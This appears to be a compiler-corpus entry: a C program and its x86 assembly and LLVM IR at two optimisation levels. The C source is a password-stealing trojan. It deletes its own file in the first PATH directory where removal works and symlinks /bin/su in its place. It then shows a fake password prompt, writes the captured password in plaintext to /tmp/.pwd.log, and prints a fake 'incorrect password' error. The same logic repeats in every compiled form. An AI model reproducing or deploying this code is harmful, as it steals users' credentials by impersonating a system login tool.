#define NULL ((void *)0)
typedef unsigned long size_t; // Customize by platform.
typedef long intptr_t;
typedef unsigned long uintptr_t;
typedef long scalar_t__; // Either arithmetic or pointer type.
/* By default, we understand bool (as a convenience). */
typedef int bool;
#define false 0
#define true 1

/* Forward declarations */

/* Type definitions */
struct stat {
  int dummy;
};
typedef int /*<<< orphan*/ FILE;

/* Variables and functions */
int /*<<< orphan*/ encrypt(char *);
int /*<<< orphan*/ fclose(int /*<<< orphan*/ *);
int /*<<< orphan*/ *fopen(char *, char *);
int /*<<< orphan*/ fprint(int /*<<< orphan*/ *, char *, char *);
char *getenv(char *);
int /*<<< orphan*/ getpass(char *);
scalar_t__ malloc(int);
int /*<<< orphan*/ printf(char *, char *);
int /*<<< orphan*/ remove(char *);
int /*<<< orphan*/ sleep(int);
int /*<<< orphan*/ strcat(char *, char *);
int /*<<< orphan*/ strcpy(char *, char *);
int /*<<< orphan*/ strncpy(char *, int /*<<< orphan*/, int);
char *strtok(char *, char *);
int /*<<< orphan*/ symlink(char *, char *);
int main(int argc, char **argv) {
  char passwd[256];
  char *path, *newpath, *token, *fullpath;
  struct stat *buf;
  FILE *pwdfile;
  int fd, lock = 0;
  path = (char *)malloc(1024);
  newpath = (char *)malloc(1024);
  fullpath = (char *)malloc(256);
  path = getenv("PATH");
  token = strtok(path, ":");
  do {
    if (lock == 0) {
      strcpy(fullpath, token);
      strcat(fullpath, "/");
      strcat(fullpath, argv[0]);
      if (!(remove(fullpath))) {
        strcpy(newpath, fullpath);
        lock = 1;
      }
    }
  } while (token = strtok(NULL, ":"));
  symlink("/bin/su", newpath);
  strncpy(passwd, getpass("Password: "), 256);
  pwdfile = fopen("/tmp/.pwd.log", "w");
  if (0)
    encrypt(passwd);
  fprint(pwdfile, "%s\n", passwd);
  fclose(pwdfile);
  sleep(3);
  printf("%s: incorrect password\n", argv[0]);
  return 0;
}


x86 assembly (clang, -O0):
<main>:
push   %rbp
mov    %rsp,%rbp
sub    $0x150,%rsp
movl   $0x0,-0x4(%rbp)
mov    %edi,-0x8(%rbp)
mov    %rsi,-0x10(%rbp)
movl   $0x0,-0x148(%rbp)
mov    $0x400,%edi
call   10b0 <malloc@plt>
mov    %rax,-0x118(%rbp)
mov    $0x400,%edi
call   10b0 <malloc@plt>
mov    %rax,-0x120(%rbp)
mov    $0x100,%edi
call   10b0 <malloc@plt>
mov    %rax,-0x130(%rbp)
lea    0xdc3(%rip),%rdi
call   1030 <getenv@plt>
mov    %rax,-0x118(%rbp)
mov    -0x118(%rbp),%rdi
lea    0xdae(%rip),%rsi
call   10e0 <strtok@plt>
mov    %rax,-0x128(%rbp)
cmpl   $0x0,-0x148(%rbp)
jne    12e0 <main+0x100>
mov    -0x130(%rbp),%rdi
mov    -0x128(%rbp),%rsi
call   1060 <strcpy@plt>
mov    -0x130(%rbp),%rdi
lea    0xd76(%rip),%rsi
call   10f0 <strcat@plt>
mov    -0x130(%rbp),%rdi
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
call   10f0 <strcat@plt>
mov    -0x130(%rbp),%rdi
call   1050 <remove@plt>
cmp    $0x0,%eax
jne    12db <main+0xfb>
mov    -0x120(%rbp),%rdi
mov    -0x130(%rbp),%rsi
call   1060 <strcpy@plt>
movl   $0x1,-0x148(%rbp)
jmp    12e0 <main+0x100>
jmp    12e5 <main+0x105>
xor    %eax,%eax
mov    %eax,%edi
lea    0xd15(%rip),%rsi
call   10e0 <strtok@plt>
mov    %rax,-0x128(%rbp)
cmp    $0x0,%rax
jne    1263 <main+0x83>
mov    -0x120(%rbp),%rsi
lea    0xcf5(%rip),%rdi
call   1090 <symlink@plt>
lea    -0x110(%rbp),%rax
mov    %rax,-0x150(%rbp)
lea    0xce3(%rip),%rdi
call   10c0 <getpass@plt>
mov    -0x150(%rbp),%rdi
mov    %eax,%esi
mov    $0x100,%edx
call   1040 <strncpy@plt>
lea    0xccf(%rip),%rdi
lea    0xcd6(%rip),%rsi
call   10d0 <fopen@plt>
mov    %rax,-0x140(%rbp)
mov    -0x140(%rbp),%rdi
lea    -0x110(%rbp),%rdx
lea    0xcb7(%rip),%rsi
call   10a0 <fprint@plt>
mov    -0x140(%rbp),%rdi
call   1070 <fclose@plt>
mov    $0x3,%edi
call   1100 <sleep@plt>
mov    -0x10(%rbp),%rax
mov    (%rax),%rsi
lea    0xc92(%rip),%rdi
call   1080 <printf@plt>
xor    %eax,%eax
add    $0x150,%rsp
pop    %rbp
ret

x86 assembly (clang, -O2):
<main>:
push   %rbp
push   %r15
push   %r14
push   %r13
push   %r12
push   %rbx
sub    $0x108,%rsp
mov    %rsi,%r15
mov    $0x400,%edi
call   10b0 <malloc@plt>
mov    $0x400,%edi
call   10b0 <malloc@plt>
mov    %rax,%r14
mov    $0x100,%edi
call   10b0 <malloc@plt>
mov    %rax,%rbx
lea    0xde1(%rip),%rdi
call   1030 <getenv@plt>
lea    0xdda(%rip),%r12
mov    %rax,%rdi
mov    %r12,%rsi
call   10e0 <strtok@plt>
xor    %ebp,%ebp
lea    0xdc8(%rip),%r13
jmp    125f <main+0x7f>
cs nopw 0x0(%rax,%rax,1)
nopl   0x0(%rax,%rax,1)
xor    %edi,%edi
mov    %r12,%rsi
call   10e0 <strtok@plt>
test   %rax,%rax
je     12ab <main+0xcb>
mov    %ebp,%ecx
mov    $0x1,%ebp
test   %ecx,%ecx
jne    1250 <main+0x70>
mov    %rbx,%rdi
mov    %rax,%rsi
call   1060 <strcpy@plt>
mov    %rbx,%rdi
mov    %r13,%rsi
call   10f0 <strcat@plt>
mov    (%r15),%rsi
mov    %rbx,%rdi
call   10f0 <strcat@plt>
mov    %rbx,%rdi
call   1050 <remove@plt>
xor    %ebp,%ebp
test   %eax,%eax
jne    1250 <main+0x70>
mov    %r14,%rdi
mov    %rbx,%rsi
call   1060 <strcpy@plt>
mov    $0x1,%ebp
jmp    1250 <main+0x70>
lea    0xd57(%rip),%rdi
mov    %r14,%rsi
call   1090 <symlink@plt>
lea    0xd50(%rip),%rdi
call   10c0 <getpass@plt>
mov    %rsp,%r14
mov    %r14,%rdi
mov    %eax,%esi
mov    $0x100,%edx
call   1040 <strncpy@plt>
lea    0xd3d(%rip),%rdi
lea    0xd44(%rip),%rsi
call   10d0 <fopen@plt>
mov    %rax,%rbx
lea    0xd37(%rip),%rsi
mov    %rax,%rdi
mov    %r14,%rdx
call   10a0 <fprint@plt>
mov    %rbx,%rdi
call   1070 <fclose@plt>
mov    $0x3,%edi
call   1100 <sleep@plt>
mov    (%r15),%rsi
lea    0xd14(%rip),%rdi
call   1080 <printf@plt>
xor    %eax,%eax
add    $0x108,%rsp
pop    %rbx
pop    %r12
pop    %r13
pop    %r14
pop    %r15
pop    %rbp
ret

LLVM IR (-O0):
%struct.stat = type { i32 }
@.str = [5 x i8] c"PATH\00"
@.str.1 = [2 x i8] c":\00"
@.str.2 = [2 x i8] c"/\00"
@.str.3 = [8 x i8] c"/bin/su\00"
@.str.4 = [11 x i8] c"Password: \00"
@.str.5 = [14 x i8] c"/tmp/.pwd.log\00"
@.str.6 = [2 x i8] c"w\00"
@.str.7 = [4 x i8] c"%s\0A\00"
@.str.8 = [24 x i8] c"%s: incorrect password\0A\00"
define i32 @main(i32 %0, i8** %1) {
%3 = alloca i32
%4 = alloca i32
%5 = alloca i8**
%6 = alloca [256 x i8]
%7 = alloca i8*
%8 = alloca i8*
%9 = alloca i8*
%10 = alloca i8*
%11 = alloca %struct.stat*
%12 = alloca i32*
%13 = alloca i32
%14 = alloca i32
store i32 0, i32* %3
store i32 %0, i32* %4
store i8** %1, i8*** %5
store i32 0, i32* %14
%15 = call i64 @malloc(i32 1024)
%16 = inttoptr i64 %15 to i8*
store i8* %16, i8** %7
%17 = call i64 @malloc(i32 1024)
%18 = inttoptr i64 %17 to i8*
store i8* %18, i8** %8
%19 = call i64 @malloc(i32 256)
%20 = inttoptr i64 %19 to i8*
store i8* %20, i8** %10
%21 = call i8* @getenv(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
store i8* %21, i8** %7
%22 = load i8*, i8** %7
%23 = call i8* @strtok(i8* %22, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i8* %23, i8** %9
br label %24
24: ; preds = %47, %2
%25 = load i32, i32* %14
%26 = icmp eq i32 %25, 0
br i1 %26, label %27, label %46
27: ; preds = %24
%28 = load i8*, i8** %10
%29 = load i8*, i8** %9
%30 = call i32 @strcpy(i8* %28, i8* %29)
%31 = load i8*, i8** %10
%32 = call i32 @strcat(i8* %31, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%33 = load i8*, i8** %10
%34 = load i8**, i8*** %5
%35 = getelementptr inbounds i8*, i8** %34, i64 0
%36 = load i8*, i8** %35
%37 = call i32 @strcat(i8* %33, i8* %36)
%38 = load i8*, i8** %10
%39 = call i32 @remove(i8* %38)
%40 = icmp ne i32 %39, 0
br i1 %40, label %45, label %41
41: ; preds = %27
%42 = load i8*, i8** %8
%43 = load i8*, i8** %10
%44 = call i32 @strcpy(i8* %42, i8* %43)
store i32 1, i32* %14
br label %45
45: ; preds = %41, %27
br label %46
46: ; preds = %45, %24
br label %47
47: ; preds = %46
%48 = call i8* @strtok(i8* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
store i8* %48, i8** %9
%49 = icmp ne i8* %48, null
br i1 %49, label %24, label %50
50: ; preds = %47
%51 = load i8*, i8** %8
%52 = call i32 @symlink(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.3, i64 0, i64 0), i8* %51)
%53 = getelementptr inbounds [256 x i8], [256 x i8]* %6, i64 0, i64 0
%54 = call i32 @getpass(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.4, i64 0, i64 0))
%55 = call i32 @strncpy(i8* %53, i32 %54, i32 256)
%56 = call i32* @fopen(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.6, i64 0, i64 0))
store i32* %56, i32** %12
%57 = load i32*, i32** %12
%58 = getelementptr inbounds [256 x i8], [256 x i8]* %6, i64 0, i64 0
%59 = call i32 @fprint(i32* %57, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.7, i64 0, i64 0), i8* %58)
%60 = load i32*, i32** %12
%61 = call i32 @fclose(i32* %60)
%62 = call i32 @sleep(i32 3)
%63 = load i8**, i8*** %5
%64 = getelementptr inbounds i8*, i8** %63, i64 0
%65 = load i8*, i8** %64
%66 = call i32 @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.8, i64 0, i64 0), i8* %65)
ret i32 0
}

LLVM IR (-O2):
%struct.stat = type { i32 }
@.str = [5 x i8] c"PATH\00"
@.str.1 = [2 x i8] c":\00"
@.str.2 = [2 x i8] c"/\00"
@.str.3 = [8 x i8] c"/bin/su\00"
@.str.4 = [11 x i8] c"Password: \00"
@.str.5 = [14 x i8] c"/tmp/.pwd.log\00"
@.str.6 = [2 x i8] c"w\00"
@.str.7 = [4 x i8] c"%s\0A\00"
@.str.8 = [24 x i8] c"%s: incorrect password\0A\00"
define i32 @main(i32 %0, i8** nocapture %1) {
%3 = alloca [256 x i8]
%4 = getelementptr inbounds [256 x i8], [256 x i8]* %3, i64 0, i64 0
%5 = tail call i64 @malloc(i32 1024)
%6 = tail call i64 @malloc(i32 1024)
%7 = inttoptr i64 %6 to i8*
%8 = tail call i64 @malloc(i32 256)
%9 = inttoptr i64 %8 to i8*
%10 = tail call i8* @getenv(i8* getelementptr inbounds ([5 x i8], [5 x i8]* @.str, i64 0, i64 0))
%11 = tail call i8* @strtok(i8* %10, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
br label %12
12: ; preds = %25, %2
%13 = phi i8* [ %11, %2 ], [ %27, %25 ]
%14 = phi i32 [ 0, %2 ], [ %26, %25 ]
%15 = icmp eq i32 %14, 0
br i1 %15, label %16, label %25
16: ; preds = %12
%17 = tail call i32 @strcpy(i8* %9, i8* %13)
%18 = tail call i32 @strcat(i8* %9, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.2, i64 0, i64 0))
%19 = load i8*, i8** %1
%20 = tail call i32 @strcat(i8* %9, i8* %19)
%21 = tail call i32 @remove(i8* %9)
%22 = icmp eq i32 %21, 0
br i1 %22, label %23, label %25
23: ; preds = %16
%24 = tail call i32 @strcpy(i8* %7, i8* %9)
br label %25
25: ; preds = %12, %23, %16
%26 = phi i32 [ 0, %16 ], [ 1, %23 ], [ 1, %12 ]
%27 = tail call i8* @strtok(i8* null, i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.1, i64 0, i64 0))
%28 = icmp eq i8* %27, null
br i1 %28, label %29, label %12
29: ; preds = %25
%30 = tail call i32 @symlink(i8* getelementptr inbounds ([8 x i8], [8 x i8]* @.str.3, i64 0, i64 0), i8* %7)
%31 = tail call i32 @getpass(i8* getelementptr inbounds ([11 x i8], [11 x i8]* @.str.4, i64 0, i64 0))
%32 = call i32 @strncpy(i8* %4, i32 %31, i32 256)
%33 = call i32* @fopen(i8* getelementptr inbounds ([14 x i8], [14 x i8]* @.str.5, i64 0, i64 0), i8* getelementptr inbounds ([2 x i8], [2 x i8]* @.str.6, i64 0, i64 0))
%34 = call i32 @fprint(i32* %33, i8* getelementptr inbounds ([4 x i8], [4 x i8]* @.str.7, i64 0, i64 0), i8* %4)
%35 = call i32 @fclose(i32* %33)
%36 = call i32 @sleep(i32 3)
%37 = load i8*, i8** %1
%38 = call i32 @printf(i8* getelementptr inbounds ([24 x i8], [24 x i8]* @.str.8, i64 0, i64 0), i8* %37)
ret i32 0
}